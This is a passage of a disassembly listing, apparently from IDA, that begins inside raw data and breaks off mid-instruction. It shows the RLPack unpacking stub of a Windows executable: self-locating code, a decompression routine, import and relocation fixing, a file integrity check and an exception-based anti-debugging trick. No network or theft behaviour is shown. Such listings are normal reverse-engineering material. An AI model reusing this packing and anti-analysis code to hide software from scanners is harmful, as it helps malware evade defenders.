3F6FE9E1h, 0F2921BF2h, 0E2AE926Ch, 0CEFEB4D0h dd 0EBAC4BF0h, 2E4BC8D6h, 16A730ADh, 0ADDBB186h, 3CD236FCh dd 0E0B1B65Ch, 2E4C5255h, 674778ADh, 0FE3B37Eh, 0D671599Ah dd 87A84A3h, 88AC0D24h, 942F2AC3h, 434CDABFh, 173F8601h dd 98752008h, 48487344h, 5F2918C7h, 1B3F8C04h, 5152020h dd 0B72F1993h, 41B7C201h, 10D8226Fh, 0A9901098h, 0A8044354h dd 1FF538Eh, 0F139F033h, 0AA012A85h, 1CB992AAh, 1001E018h dd 0C82C9C2h, 0AF200204h, 0B7289002h, 489C57E8h, 84EC1011h dd 0D122E885h, 21024B81h, 40877E01h, 0B2028214h, 3CE81702h dd 14CA20C4h, 0B6FFD2ABh, 0C8084034h, 37427738h, 2C109B8h dd 1C410804h, 600003A4h, 21E47982h, 0A6292CA6h, 0A10808DFh dd 9F81C0A5h, 1084FCE0h, 0CC807E40h, 39C161A8h, 5849DAA3h dd 0FE4681A8h, 94084029h, 23BB30B5h, 0EB69141h, 4EE4A2CFh dd 0CFE50E1Ah, 0D65B08E8h, 51A19081h, 8E05510Ah, 595EDA09h dd 6AD95FC0h, 800B32E1h, 0E0DED8D3h, 7E3180F9h, 0A20C74D4h dd 32022516h, 8990304h, 24181204h, 910D4805h, 44092206h dd 8890C07h, 538E091Ch, 0B211C0Ah, 3C3416E5h, 580F080Ah dd 14321065h, 34122511h, 21180804h, 103235E5h, 1C433941h dd 5334A650h, 53291852h, 60579408h, 657C59CAh, 6D18326Ch dd 2CCEAC6h, 891C0970h, 6AC5C72h, 805730A6h, 88129B4h dd 0C8208294h, 3284E583h, 29249148h, 65109E4Ah, 0A49072A1h dd 1CA77099h, 53A0AEB7h, 0D72320CEh, 30071889h, 1109200Ch dd 745D0D2Dh, 14988893h, 98787C09h, 111D6E78h, 201A22F1h dd 1B44C930h, 1F21C870h, 13116899h, 21246012h, 0E915848h dd 74815022h, 5810A948h, 433C409Eh, 33103835h, 112230B0h dd 122C441Eh, 20122889h, 0C482424h, 0B221C91h, 89151444h dd 241C120Ch, 88194804h, 111177FCh, 1844F422h, 121689ECh dd 481724E4h, 222291DCh, 0D42344D8h, 0D0122489h, 0F0430128h dd 0F831847Fh, 0A6EF18FFh, 87104C10h, 8B080A2h, 0C1E14410h dd 30145801h, 52470380h, 0CF30442h, 5C5C21E5h, 4A8F225h dd 0BC08AE8h, 191D6645h, 96210447h, 8488DE4h, 8F3C8EE4h dd 0F2909087h, 92431E91h, 37993C8h, 0A22E837h, 0DE098C45h dd 4F41AABh, 0CC427BC0h, 11C894FCh, 40689109h, 26F14428h dd 49183CA0h, 7AE88458h, 0F1C49898h, 983CE026h, 608F6849h dd 38806312h, 0C310D9C4h, 79C861C4h, 0A032A026h, 90247811h dd 8044E25Eh, 1270897Ah dd 3EE422FCh, 48000877h, 0BC422137h, 4FB09B4Dh, 4768BE11h dd 7274B910h, 0F37DBC12h, 1CC5726Ah, 5C5F0121h, 46269438h dd 116954Dh, 352C09FCh, 406F184Ch, 0B103CB09h, 44648109h dd 0C4389618h, 897F4820h, 94B07080h, 38C2F1F0h, 0BF545350h dd 44506284h, 744240BFh, 0B458C1D3h, 0F05809B8h, 0E012DA4h dd 1E0C4010h, 5A133B89h, 0AC190B87h, 0B5099197h, 0F344D422h dd 30D5A911h, 224E0991h, 4B348C6Dh, 77C4623Ah, 0E0D9C4ECh dd 0F212D309h, 64511026h, 4B4D092Fh, 4A9156Ch, 2C4002A0h dd 0C0552C8h, 2D08FA84h, 850C9CE4h, 0FC35084h, 0F421242Ch dd 96804012h, 2851698h, 19BEBC20h, 8BF0430h, 348E1BC9h dd 0CCEDA140h, 3EC2F6CEh, 20004ED3h, 70B59EF0h, 0AD0FA82Bh dd 80699DC5h, 25FD5DD0h, 8E1A03E5h, 83EB194Fh, 0D79671E0h dd 0E439500h, 0AF298D05h, 1F9F89Eh, 0ED44A0BFh, 0CC8F1281h dd 0ECF9B982h, 0A603D53Ch, 1F49FFCFh, 7A7C78h, 8CE0C66Fh dd 47C980E9h, 0A893BA00h, 6B85BC41h, 39270055h, 0E070F78Dh dd 0DDF8427Ch, 0F9DE8E00h, 7EEBFB9Dh, 435100AAh, 0E376E6A1h dd 2900F2CCh, 2681842Fh, 0E102844h, 0AEF8AA17h, 0C4C5E3A1h dd 0A7EBF0FAh, 0F7F3D41Dh, 7A4AE140h, 45CF95h, 91C7CC65h dd 0A0AEA60Eh, 0A3E31907h, 17D00D46h, 7381750Ch, 0C9760086h dd 42584D48h, 9300A7E4h, 0B8353B39h, 0FB53EDB2h, 395DE5E8h dd 7FDC53Dh, 5A929E8Bh, 0F0A6A0FFh, 0C00020A1h, 378CA554h dd 39FDD161h, 0D8005A8Bh, 0F9895D25h, 0AA0067DBh, 27F3F895h dd 0FAC8A2BFh, 6E8000DDh, 979BC94Ch, 2058A20h, 25C46052h dd 0CD8421AEh, 104A1CCh, 713FFB00h, 28D70A3Dh, 7C0570A3h dd 645A00F8h, 8D4FDF3Bh, 121F6E97h, 0C300F583h, 19652CD3h dd 175807E2h, 0C0F1D1B7h, 84230FD0h, 71B4739h, 0EEA7C5ACh dd 0B6A640C0h, 0AF6C0169h, 8637BD05h, 3D33F0EBh, 7A42BC00h dd 0BF94D5E5h, 38E77CD6h, 0CE80FDC2h, 77118461h, 0E47CABCCh dd 5B4C2F00h, 0BEC44DE1h, 0E6951F94h, 921EC9h, 44753B53h dd 9AFC14CDh, 0DE00AF7Ch, 3994BA67h, 3B1EAD45h, 7FCCFB1h dd 0E2C62324h, 313BF0BCh, 7A7C8B61h, 590055E8h, 53B17EC1h dd 7CBB127Ch, 0EED7005Fh, 0BE068D2Fh, 151B8592h, 0F04844FBh dd 0E639E9A5h, 7FEA0F27h, 7D802AA8h, 0BCE4A1ACh, 467C6400h dd 3E55DDD0h, 67B0063h, 775423CCh, 911CFF83h, 0FAC03D81h dd 637A193Ah, 31430025h, 213CACC0h, 3807D189h, 0B8974782h dd 3BD7FD00h, 588800DCh, 0E8B11B08h, 0A63E86E3h, 84C60003h dd 0B6074245h, 37750099h, 333A2EDBh, 0D23C1C71h, 0EE320023h dd 395A9049h, 0BE8701A6h, 0A5DA57C0h, 0B5A2E082h, 68E23200h dd 52A711B2h, 5944009Fh, 252C10B7h, 2D00E449h, 534F3436h dd 0F66BCEAEh, 459008Fh, 0C2DEC0A4h, 0E800FB7Dh, 0E79E1EC6h dd 575A88h, 50BF3C91h, 4E182283h, 62654B0Fh, 0AF8F00FDh dd 607D9406h, 9FDE5C11h, 0C801D2CEh, 0D8A6DD04h, 71FE680Ah dd 3F2E80CCh, 78655641h, 0B5F8DA95h, 0C7409D41h, 7E183985h dd 5E633EE4h, 608E25Fh, 64747340h, 204FE13Dh, 3AACEC4Fh dd 0DE66395Fh, 212951BEh, 0BAF54090h, 416DD924h, 0BA4B441Bh dd 0D75F5BC2h, 383BCA2Dh, 0BB0C5860h, 60h, 1270000h, 19C0000h dd 1DC0000h, 2210000h, 2330000h, 2900000h, 7Ah dup(0) dd 959F0000h, 5D08B7F0h, 365B2126h, 0BB27DC4Bh, 65DF08A6h dd 3C6277E9h, 7A039820h, 0C89775ACh, 10D1EBABh, 0B1DC6112h dd 0A1681BDBh, 99125F93h, 0AD9B5F19h, 0A12F7A97h, 0F27E980Fh dd 2B04C9Fh, 0ECB586D4h, 0C84B3125h, 97EE4B9Ah, 61888201h dd 324D2DF6h, 0F536DF84h, 0D018AE8Bh, 0C53D2048h, 0C5A819FEh ; --------------------------------------------------------------------------- xchg eax, esp dec ebx ; =============== S U B R O U T I N E ======================================= public start start proc near var_24 = dword ptr -24h ; FUNCTION CHUNK AT 004FC387 SIZE 00000110 BYTES pusha call $+5 mov ebp, [esp+24h+var_24] add esp, 4 jmp short loc_4FBEFB ; --------------------------------------------------------------------------- db 6, 2 dup(0) ; --------------------------------------------------------------------------- loc_4FBEFB: ; CODE XREF: start+Cj jmp short loc_4FBF00 ; --------------------------------------------------------------------------- db 5, 2 dup(0) ; --------------------------------------------------------------------------- loc_4FBF00: ; CODE XREF: start:loc_4FBEFBj lea esi, [ebp+1F4Bh] lea ebx, [ebp+314h] xor edi, edi call sub_4FC161 jmp short loc_4FBF18 ; --------------------------------------------------------------------------- db 11h, 2 dup(0) ; --------------------------------------------------------------------------- loc_4FBF18: ; CODE XREF: start+29j jmp short loc_4FBF1D ; --------------------------------------------------------------------------- dw 0Dh db 0 ; --------------------------------------------------------------------------- loc_4FBF1D: ; CODE XREF: start:loc_4FBF18j jmp short loc_4FBF2E ; --------------------------------------------------------------------------- loc_4FBF1F: ; CODE XREF: start+48j push dword ptr [edi+esi+4] push dword ptr [edi+esi] call ebx ; WideCharToMultiByte add esp, 8 add edi, 8 loc_4FBF2E: ; CODE XREF: start:loc_4FBF1Dj cmp dword ptr [edi+esi], 0 jnz short loc_4FBF1F lea esi, [edi+esi+4] cmp dword ptr [ebp+1C63h], 1 jnz short loc_4FBF85 xor edi, edi pusha jmp short loc_4FBF75 ; --------------------------------------------------------------------------- loc_4FBF46: ; CODE XREF: start+8Dj mov eax, [esi] mov ebx, [esi+4] mov edx, [esi+8] call sub_4FC149 lea ecx, [ebp+19B2h] push ecx or edx, edx jnz short loc_4FBF62 push 20h jmp short loc_4FBF64 ; --------------------------------------------------------------------------- loc_4FBF62: ; CODE XREF: start+72j push 40h loc_4FBF64: ; CODE XREF: start+76j push eax push ebx call dword ptr [ebp+402h] add esi, 0Ch cmp dword ptr [esi], 0FFFFFFFFh jnz short loc_4FBF75 inc edi loc_4FBF75: ; CODE XREF: start+5Aj start+88j or edi, edi jz short loc_4FBF46 add esi, 4 mov [esp+40h+var_24], esi popa mov esi, eax jmp short loc_4FBF88 ; --------------------------------------------------------------------------- loc_4FBF85: ; CODE XREF: start+55j add esi, 8 loc_4FBF88: ; CODE XREF: start+99j mov eax, [esi] mov [ebp+1412h], eax add esi, 4 call sub_4FD224 add esi, 4 push ebx push 40h push 1000h push 7D7h push 0 call dword ptr [ebp+3FAh] mov [ebp+1F47h], eax pop ebx push dword ptr [ebp+1F47h] push esi call ebx ; WideCharToMultiByte add esp, 8 jmp short loc_4FBFC8 ; --------------------------------------------------------------------------- db 11h, 2 dup(0) ; --------------------------------------------------------------------------- loc_4FBFC8: ; CODE XREF: start+D9j call sub_4FCB57 cmp dword ptr [ebp+1A63h], 0 jz short loc_4FBFE9 cmp dword ptr [ebp+199Eh], 0 jz short loc_4FBFE9 call sub_4FCE12 call sub_4FCCAF loc_4FBFE9: ; CODE XREF: start+EAj start+F3j mov esi, [ebp+1F47h] mov eax, esi jmp short loc_4FBFF4 ; --------------------------------------------------------------------------- loc_4FBFF3: ; CODE XREF: start+10Dj inc eax loc_4FBFF4: ; CODE XREF: start+107j cmp byte ptr [eax], 1 jnz short loc_4FBFF3 inc eax mov edi, [eax] call sub_4FC12D add eax, 4 mov [ebp+1F43h], eax jmp loc_4FC0C0 ; --------------------------------------------------------------------------- loc_4FC00F: ; CODE XREF: start+1D9j call sub_4FC363 push esi call dword ptr [ebp+406h] test eax, eax jz loc_4FC39E mov [ebp+1F3Fh], eax mov eax, esi jmp short loc_4FC0A1 ; --------------------------------------------------------------------------- loc_4FC02D: ; CODE XREF: start+1B5j start+1BAj mov eax, [ebp+1F43h] mov eax, [eax] test eax, 80000000h jz short loc_4FC056 xor eax, 80000000h push eax mov [ebp+140Ah], eax mov eax, [ebp+1F43h] mov dword ptr [eax], 202020h jmp short loc_4FC05C ; --------------------------------------------------------------------------- loc_4FC056: ; CODE XREF: start+150j push dword ptr [ebp+1F43h] loc_4FC05C: ; CODE XREF: start+16Aj push dword ptr [ebp+1F3Fh] call dword ptr [ebp+3F6h] test eax, eax jz loc_4FC387 jmp short loc_4FC075 ; --------------------------------------------------------------------------- dw 0Eh db 0 ; --------------------------------------------------------------------------- loc_4FC075: ; CODE XREF: start+186j mov dword ptr [ebp+140Ah], 0 mov [edi], eax add edi, 4 mov eax, [ebp+1F43h] jmp short loc_4FC08D ; --------------------------------------------------------------------------- loc_4FC08C: ; CODE XREF: start+1A6j inc eax loc_4FC08D: ; CODE XREF: start+1A0j cmp byte ptr [eax], 0 jnz short loc_4FC08C inc eax mov [ebp+1F43h], eax test dword ptr [eax], 80000000h jnz short loc_4FC02D loc_4FC0A1: ; CODE XREF: start+141j cmp byte ptr [eax], 0 jnz short loc_4FC02D jmp short loc_4FC0A9 ; --------------------------------------------------------------------------- loc_4FC0A8: ; CODE XREF: start+1C2j inc esi loc_4FC0A9: ; CODE XREF: start+1BCj cmp byte ptr [esi], 0 jnz short loc_4FC0A8 inc esi inc eax mov edi, [eax] call sub_4FC12D add eax, 4 mov [ebp+1F43h], eax loc_4FC0C0: ; CODE XREF: start+120j cmp byte ptr [esi], 1 jnz loc_4FC00F push 4000h push 7D7h push dword ptr [ebp+1F47h] call dword ptr [ebp+3FEh] jmp short loc_4FC0E4 ; --------------------------------------------------------------------------- db 5, 2 dup(0) ; --------------------------------------------------------------------------- loc_4FC0E4: ; CODE XREF: start+1F5j call sub_4FC190 popa jmp sub_41D933 start endp ; =============== S U B R O U T I N E ======================================= sub_4FC0EF proc near ; CODE XREF: .RLPack:004FC4C2p arg_48 = dword ptr 4Ch cmp dword ptr [ebp+13FEh], 0 jz short locret_4FC10E sub eax, [ebp+13F6h] add eax, [esp+arg_48] push eax mov eax, [esp+4+arg_48] mov [ebp+13FAh], eax pop eax locret_4FC10E: ; CODE XREF: sub_4FC0EF+7j retn sub_4FC0EF endp ; =============== S U B R O U T I N E ======================================= sub_4FC10F proc near ; CODE XREF: .RLPack:004FC517p ; .RLPack:004FC529p ... push esi mov esi, [eax+0B4h] cmp dword ptr [esi+13FEh], 0 jz short loc_4FC12B sub ecx, [esi+13F6h] add ecx, [esi+13FAh] loc_4FC12B: ; CODE XREF: sub_4FC10F+Ej pop esi retn sub_4FC10F endp ; =============== S U B R O U T I N E ======================================= sub_4FC12D proc near ; CODE XREF: start+112p start+1C8p arg_24 = dword ptr 28h push eax push ebx cmp dword ptr [ebp+13FEh], 0 jz short loc_4FC146 mov eax, [ebp+13F6h] mov ebx, [esp+8+arg_24] sub edi, eax add edi, ebx loc_4FC146: ; CODE XREF: sub_4FC12D+9j pop ebx pop eax retn sub_4FC12D endp ; =============== S U B R O U T I N E ======================================= sub_4FC149 proc near ; CODE XREF: start+64p arg_44 = dword ptr 48h push eax cmp dword ptr [ebp+13FEh], 0 jz short loc_4FC15F mov eax, [ebp+13F6h] sub ebx, eax add ebx, [esp+4+arg_44] loc_4FC15F: ; CODE XREF: sub_4FC149+8j pop eax retn sub_4FC149 endp ; =============== S U B R O U T I N E ======================================= sub_4FC161 proc near ; CODE XREF: start+24p arg_24 = dword ptr 28h pusha cmp dword ptr [ebp+13FEh], 0 jz short loc_4FC18E mov eax, [ebp+13F6h] mov ebx, [esp+20h+arg_24] jmp short loc_4FC188 ; --------------------------------------------------------------------------- loc_4FC177: ; CODE XREF: sub_4FC161+2Bj sub [edi+esi+4], eax add [edi+esi+4], ebx sub [edi+esi], eax add [edi+esi], ebx add edi, 8 loc_4FC188: ; CODE XREF: sub_4FC161+14j cmp dword ptr [edi+esi], 0 jnz short loc_4FC177 loc_4FC18E: ; CODE XREF: sub_4FC161+8j popa retn sub_4FC161 endp ; =============== S U B R O U T I N E ======================================= sub_4FC190 proc near ; CODE XREF: start:loc_4FC0E4p arg_24 = dword ptr 28h pusha mov esi, [ebp+13FEh] or esi, esi jz short loc_4FC202 mov edi, [ebp+13F6h] mov eax, [esp+20h+arg_24] mov [ebp+13FAh], eax cmp eax, edi jz short loc_4FC202 add esi, eax jmp short loc_4FC1FD ; --------------------------------------------------------------------------- loc_4FC1B3: ; CODE XREF: sub_4FC190+70j mov edx, [esi] mov eax, [esi+4] mov [ebp+1402h], eax add [ebp+1402h], esi add esi, 8 jmp short loc_4FC1F5 ; --------------------------------------------------------------------------- loc_4FC1C9: ; CODE XREF: sub_4FC190+6Bj movzx eax, word ptr [esi] mov ebx, eax shr ebx, 0Ch mov ecx, ebx imul ebx, 1000h sub eax, ebx add eax, edx add eax, [ebp+13FAh] cmp ecx, 3 jnz short loc_4FC1F2 sub [eax], edi mov ecx, [ebp+13FAh] add [eax], ecx loc_4FC1F2: ; CODE XREF: sub_4FC190+56j add esi, 2 loc_4FC1F5: ; CODE XREF: sub_4FC190+37j cmp esi, [ebp+1402h] jb short loc_4FC1C9 loc_4FC1FD: ; CODE XREF: sub_4FC190+21j cmp dword ptr [esi], 0 jnz short loc_4FC1B3 loc_4FC202: ; CODE XREF: sub_4FC190+9j ; sub_4FC190+1Dj popa retn sub_4FC190 endp ; --------------------------------------------------------------------------- pusha mov esi, [esp+24h] mov edi, [esp+28h] cld mov dl, 80h xor ebx, ebx loc_4FC212: ; CODE XREF: .RLPack:004FC21Aj movsb mov bl, 2 loc_4FC215: ; CODE XREF: .RLPack:004FC23Fj ; .RLPack:004FC285j call sub_4FC287 jnb short loc_4FC212 xor ecx, ecx call sub_4FC287 jnb short loc_4FC241 xor eax, eax call sub_4FC287 jnb short loc_4FC251 mov bl, 2 inc ecx mov al, 10h loc_4FC233: ; CODE XREF: .RLPack:004FC23Aj call sub_4FC287 adc al, al jnb short loc_4FC233 jnz short loc_4FC27D stosb jmp short loc_4FC215 ; --------------------------------------------------------------------------- loc_4FC241: ; CODE XREF: .RLPack:004FC223j call sub_4FC293 sub ecx, ebx jnz short loc_4FC25A call sub_4FC291 jmp short loc_4FC279 ; --------------------------------------------------------------------------- loc_4FC251: ; CODE XREF: .RLPack:004FC22Cj lodsb shr eax, 1 jz short loc_4FC2A3 adc ecx, ecx jmp short loc_4FC276 ; --------------------------------------------------------------------------- loc_4FC25A: ; CODE XREF: .RLPack:004FC248j xchg eax, ecx dec eax shl eax, 8 lodsb call sub_4FC291 cmp eax, 7D00h jnb short loc_4FC276 cmp ah, 5 jnb short loc_4FC277 cmp eax, 7Fh ja short loc_4FC278 loc_4FC276: ; CODE XREF: .RLPack:004FC258j ; .RLPack:004FC26Aj inc ecx loc_4FC277: ; CODE XREF: .RLPack:004FC26Fj inc ecx loc_4FC278: ; CODE XREF: .RLPack:004FC274j xchg eax, ebp loc_4FC279: ; CODE XREF: .RLPack:004FC24Fj mov eax, ebp mov bl, 1 loc_4FC27D: ; CODE XREF: .RLPack:004FC23Cj push esi mov esi, edi sub esi, eax rep movsb pop esi jmp short loc_4FC215 ; =============== S U B R O U T I N E ======================================= sub_4FC287 proc near ; CODE XREF: .RLPack:loc_4FC215p ; .RLPack:004FC21Ep ... add dl, dl jnz short locret_4FC290 mov dl, [esi] inc esi adc dl, dl locret_4FC290: ; CODE XREF: sub_4FC287+2j retn sub_4FC287 endp ; =============== S U B R O U T I N E ======================================= sub_4FC291 proc near ; CODE XREF: .RLPack:004FC24Ap ; .RLPack:004FC260p xor ecx, ecx sub_4FC291 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4FC293 proc near ; CODE XREF: .RLPack:loc_4FC241p inc ecx loc_4FC294: ; CODE XREF: sub_4FC293+Dj call sub_4FC287 adc ecx, ecx call sub_4FC287 jb short loc_4FC294 retn sub_4FC293 endp ; --------------------------------------------------------------------------- loc_4FC2A3: ; CODE XREF: .RLPack:004FC254j sub edi, [esp+28h] mov [esp+1Ch], edi popa retn ; --------------------------------------------------------------------------- align 10h dd 2 dup(0) dd 0FC2D500h, 0FC2E200h, 5 dup(0) dd 72656B00h, 336C656Eh, 6C642E32h, 5D8006Ch, 0A5FD77E8h dd 980A77E7h, 9E3477E7h, 169A77E7h, 9F9377E6h, 77E7h, 0 aLoadlibrarya db 'LoadLibraryA',0 align 2 aGetprocaddress db 'GetProcAddress',0 align 2 aVirtualalloc db 'VirtualAlloc',0 align 4 aVirtualfree db 'VirtualFree',0 dd 72695600h, 6C617574h, 746F7250h, 746365h, 74654700h dd 75646F4Dh, 6148656Ch, 656C646Eh, 41h, 8000010h db 3 dup(0) ; =============== S U B R O U T I N E ======================================= sub_4FC363 proc near ; CODE XREF: start:loc_4FC00Fp push edi push esi mov edi, esi jmp short loc_4FC36A ; --------------------------------------------------------------------------- loc_4FC369: ; CODE XREF: sub_4FC363+Aj inc esi loc_4FC36A: ; CODE XREF: sub_4FC363+4j cmp byte ptr [esi], 0 jnz short loc_4FC369 jmp short loc_4FC372 ; --------------------------------------------------------------------------- loc_4FC371: ; CODE XREF: sub_4FC363+16j dec esi loc_4FC372: ; CODE XREF: sub_4FC363+Cj cmp byte ptr [esi], 5Ch jz short loc_4FC37B cmp esi, edi jnz short loc_4FC371 loc_4FC37B: ; CODE XREF: sub_4FC363+12j cmp byte ptr [esi], 5Ch jnz short loc_4FC384 pop edi inc esi jmp short loc_4FC385 ; --------------------------------------------------------------------------- loc_4FC384: ; CODE XREF: sub_4FC363+1Bj pop esi loc_4FC385: ; CODE XREF: sub_4FC363+1Fj pop edi retn sub_4FC363 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_4FC387: ; CODE XREF: start+180j cmp dword ptr [ebp+140Ah], 0 jnz short loc_4FC397 mov edi, 1 jmp short loc_4FC39C ; --------------------------------------------------------------------------- loc_4FC397: ; CODE XREF: start+4A4j mov edi, 2 loc_4FC39C: ; CODE XREF: start+4ABj jmp short loc_4FC3A0 ; --------------------------------------------------------------------------- loc_4FC39E: ; CODE XREF: start+133j xor edi, edi loc_4FC3A0: ; CODE XREF: start:loc_4FC39Cj push 40h push 1000h push 1000h push 0 call dword ptr [ebp+3FAh] mov [ebp+1F47h], eax lea ebx, [ebp+1446h] push ebx call dword ptr [ebp+3F2h] push eax cmp dword ptr [ebp+1436h], 0ABBC680Dh jnz short loc_4FC3E6 push dword ptr [ebp+1436h] push eax call sub_4FD291 mov [ebp+1436h], eax loc_4FC3E6: ; CODE XREF: start+4E8j pop eax cmp dword ptr [ebp+1442h], 0EA3AF0D7h jnz short loc_4FC405 push dword ptr [ebp+1442h] push eax call sub_4FD291 mov [ebp+1442h], eax loc_4FC405: ; CODE XREF: start+507j or edi, edi jnz short loc_4FC422 push esi lea ebx, [ebp+147Bh] push ebx push dword ptr [ebp+1F47h] call dword ptr [ebp+1442h] add esp, 0Ch jmp short loc_4FC468 ; --------------------------------------------------------------------------- loc_4FC422: ; CODE XREF: start+51Dj cmp edi, 1 jnz short loc_4FC446 push esi push dword ptr [ebp+1F43h] lea ebx, [ebp+14A3h] push ebx push dword ptr [ebp+1F47h] call dword ptr [ebp+1442h] add esp, 10h jmp short loc_4FC468 ; --------------------------------------------------------------------------- loc_4FC446: ; CODE XREF: start+53Bj cmp edi, 2 jnz short loc_4FC468 push esi push dword ptr [ebp+140Ah] lea ebx, [ebp+14DCh] push ebx push dword ptr [ebp+1F47h] call dword ptr [ebp+1442h] add esp, 10h loc_4FC468: ; CODE XREF: start+536j start+55Aj ... push 30h lea ebx, [ebp+1451h] push ebx push dword ptr [ebp+1F47h] push 0 call dword ptr [ebp+1436h] push 4000h push 1000h push dword ptr [ebp+1F47h] call dword ptr [ebp+3FEh] popa retn ; END OF FUNCTION CHUNK FOR start ; --------------------------------------------------------------------------- pusha lea ebx, [ebp+1446h] push ebx call dword ptr [ebp+3F2h] cmp dword ptr [ebp+1436h], 0ABBC680Dh jnz short loc_4FC4BD push dword ptr [ebp+1436h] push eax call sub_4FD291 loc_4FC4BD: ; CODE XREF: .RLPack:004FC4AFj mov eax, offset sub_41D933 call sub_4FC0EF mov dword ptr [eax], 0C390C033h call eax ; sub_41D933 lea eax, [ebp+610h] mov [ebp+1F43h], eax mov [ebp+1F47h], ebp lea eax, [ebp+61Ch] push eax push large dword ptr fs:0 mov [ebp+1406h], esp mov large fs:0, esp xor eax, eax xchg eax, [eax] pop large dword ptr fs:0 add esp, 4 popa retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp mov eax, [ebp+10h] mov ecx, offset byte_4FDE33 call sub_4FC10F mov ebx, [ecx] mov [eax+0B8h], ebx mov ecx, offset word_4FD2F6 call sub_4FC10F mov ebx, [ecx] mov [eax+0C4h], ebx mov ecx, offset byte_4FDE37 call sub_4FC10F mov ebx, [ecx] mov [eax+0B4h], ebx mov eax, 0 leave retn ; --------------------------------------------------------------------------- pusha call sub_4FD255 mov [ebp+1416h], eax lea ebx, [ebp+143Ah] mov esi, 2 jmp short loc_4FC57B ; --------------------------------------------------------------------------- loc_4FC568: ; CODE XREF: .RLPack:004FC57Ej push dword ptr [ebx] push dword ptr [ebp+1416h] call sub_4FD291 mov [ebx], eax add ebx, 4 dec esi loc_4FC57B: ; CODE XREF: .RLPack:004FC566j cmp esi, 0 ja short loc_4FC568 lea eax, [ebp+1771h] push eax push 0 push 1F0001h call dword ptr [ebp+143Eh] or eax, eax jnz short loc_4FC5AB lea eax, [ebp+1771h] push eax push 0 push 0 call dword ptr [ebp+143Ah] jmp short loc_4FC5E8 ; --------------------------------------------------------------------------- loc_4FC5AB: ; CODE XREF: .RLPack:004FC596j lea ebx, [ebp+1446h] push ebx call dword ptr [ebp+3F2h] cmp dword ptr [ebp+1436h], 0ABBC680Dh jnz short loc_4FC5D0 push dword ptr [ebp+1436h] push eax call sub_4FD291 loc_4FC5D0: ; CODE XREF: .RLPack:004FC5C2j push 30h lea ebx, [ebp+1451h] push ebx lea ebx, [ebp+151Fh] push ebx push 0 call eax popa popa pop eax retn ; --------------------------------------------------------------------------- loc_4FC5E8: ; CODE XREF: .RLPack:004FC5A9j popa retn ; --------------------------------------------------------------------------- pusha call sub_4FD255 mov [ebp+1416h], eax lea ebx, [ebp+141Eh] mov esi, 6 jmp short loc_4FC616 ; --------------------------------------------------------------------------- loc_4FC603: ; CODE XREF: .RLPack:004FC619j push dword ptr [ebx] push dword ptr [ebp+1416h] call sub_4FD291 mov [ebx], eax add ebx, 4 dec esi loc_4FC616: ; CODE XREF: .RLPack:004FC601j cmp esi, 0 ja short loc_4FC603 push 40h push 1000h push 104h push 0 call dword ptr [ebp+3FAh] mov [ebp+1F43h], eax push 104h push eax push 0 call dword ptr [ebp+141Eh] push 0 push 80h push 3 push 0 push 0 push 80000000h push dword ptr [ebp+1F43h] call dword ptr [ebp+1422h] cmp eax, 0FFFFFFFFh jz loc_4FC751 mov [ebp+1F47h], eax call sub_4FC758 push 0 push dword ptr [ebp+1F47h] call dword ptr [ebp+142Ah] mov esi, eax push 40h push 1000h push eax push 0 call dword ptr [ebp+3FAh] mov [ebp+1F43h], eax push 0 lea ebx, [ebp+140Eh] push ebx push esi push eax push dword ptr [ebp+1F47h] call dword ptr [ebp+1426h] cmp eax, 1 jnz short loc_4FC71F mov eax, [ebp+1F43h] mov ecx, [ebp+1F3Bh] xor ebx, ebx cdq jmp short loc_4FC6D1 ; --------------------------------------------------------------------------- loc_4FC6C8: ; CODE XREF: .RLPack:004FC6D4j mov dl, [eax] rol ebx, 7 xor bl, dl inc eax dec ecx loc_4FC6D1: ; CODE XREF: .RLPack:004FC6C6j cmp ecx, 0 ja short loc_4FC6C8 cmp ebx, [ebp+1F37h] jz short loc_4FC71F lea ebx, [ebp+1446h] push ebx call dword ptr [ebp+3F2h] cmp dword ptr [ebp+1436h], 0ABBC680Dh jnz short loc_4FC703 push dword ptr [ebp+1436h] push eax call sub_4FD291 loc_4FC703: ; CODE XREF: .RLPack:004FC6F5j push 30h lea ebx, [ebp+1451h] push ebx lea ebx, [ebp+1458h] push ebx push 0 call eax push 0 call dword ptr [ebp+1432h] loc_4FC71F: ; CODE XREF: .RLPack:004FC6B5j ; .RLPack:004FC6DCj push 4000h push esi push dword ptr [ebp+1F43h] call dword ptr [ebp+3FEh] cmp dword ptr [ebp+17B3h], 1 jz short loc_4FC756 cmp dword ptr [ebp+17B7h], 1 jz short loc_4FC756 push dword ptr [ebp+1F47h] call dword ptr [ebp+142Eh] jmp short loc_4FC756 ; --------------------------------------------------------------------------- loc_4FC751: ; CODE XREF: .RLPack:004FC664j call sub_4FC758 loc_4FC756: ; CODE XREF: .RLPack:004FC738j ; .RLPack:004FC741j ... popa retn ; =============== S U B R O U T I N E ======================================= sub_4FC758 proc near ; CODE XREF: .RLPack:004FC670p ; .RLPack:loc_4FC751p push 4000h push 104h push dword ptr [ebp+1F43h] call dword ptr [ebp+3FEh] retn sub_4FC758 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp add esp, 0FFFFFFFCh pusha mov esi, offset sub_401000 mov dword ptr [ebp-4], 0 mov eax, [ebp+8] mov [esi+198Eh], eax cmp dword ptr [ebp+0Ch], 110h jnz short loc_4FC7C5 mov dword ptr [ebp-4], 1 lea ebx, [esi+1C67h] mov edi, 7 jmp short loc_4FC7B9 ; --------------------------------------------------------------------------- loc_4FC7A8: ; CODE XREF: .RLPack:004FC7BCj push dword ptr [ebx] push dword ptr [ebp+8] call dword ptr [esi+196Eh] mov [ebx], eax add ebx, 4 dec edi loc_4FC7B9: ; CODE XREF: .RLPack:004FC7A6j cmp edi, 0 ja short loc_4FC7A8 call sub_4FC8CE jmp short loc_4FC820 ; --------------------------------------------------------------------------- loc_4FC7C5: ; CODE XREF: .RLPack:004FC792j cmp dword ptr [ebp+0Ch], 10h jz short loc_4FC7D4 cmp dword ptr [esi+1992h], 1 jnz short loc_4FC7E1 loc_4FC7D4: ; CODE XREF: .RLPack:004FC7C9j push 0 push dword ptr [ebp+8] call dword ptr [esi+196Ah] jmp short loc_4FC820 ; --------------------------------------------------------------------------- loc_4FC7E1: ; CODE XREF: .RLPack:004FC7D2j cmp dword ptr [ebp+0Ch], 111h jnz short loc_4FC820 cmp dword ptr [ebp+10h], 7 jnz short loc_4FC820 push 34h lea eax, 